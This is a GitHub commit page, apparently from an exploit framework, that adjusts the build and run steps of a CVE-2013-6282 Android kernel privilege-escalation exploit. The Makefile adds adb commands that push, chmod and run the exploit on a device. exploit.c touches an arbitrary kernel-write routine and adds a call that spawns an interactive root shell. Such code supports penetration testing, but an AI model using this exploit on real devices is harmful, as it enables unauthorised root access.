Skip to content

Commit 07ce7f3

Browse files
committed
fix make run
1 parent 7b7deb0 commit 07ce7f3

File tree

2 files changed

+6
-4
lines changed

2 files changed

+6
-4
lines changed

external/source/exploits/CVE-2013-6282/Makefile

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
all: install
33

44
build:
5-
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
5+
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
66

77
install: build
88
mv libs/armeabi/libexploit.so ../../../../data/exploits/CVE-2013-6282.so
@@ -11,7 +11,8 @@ push: build
1111
adb push libs/armeabi/debugexploit /data/local/tmp/exploit
1212

1313
run: push
14-
adb shell 'cd /data/local/tmp/exploit'
14+
adb shell 'chmod 777 /data/local/tmp/exploit'
15+
adb shell '/data/local/tmp/exploit'
1516

1617
clean:
1718
rm -rf libs

external/source/exploits/CVE-2013-6282/exploit.c

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -604,7 +604,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
604604
buf[0] = 0;
605605
if (data[i]) {
606606
if (write(pipefd[1], buf, data[i]) != data[i]) {
607-
printf("error in write().\n");
607+
LOGV("error in write().\n");
608608
break;
609609
}
610610
}
@@ -616,7 +616,7 @@ int pipe_write_value_at_address(unsigned long address, void* value)
616616

617617
if (data[i]) {
618618
if (read(pipefd[0], buf, sizeof buf) != data[i]) {
619-
printf("error in read().\n");
619+
LOGV("error in read().\n");
620620
break;
621621
}
622622
}
@@ -665,6 +665,7 @@ void init_exploit() {
665665

666666
if (shellcode_buf[0] == 0x90) {
667667
LOGV("No shellcode, uid=%d\n", uid);
668+
system("/system/bin/sh -i");
668669
return;
669670
}
670671
LOGV("running shellcode, uid=%d\n", uid);

0 commit comments

Comments
 (0)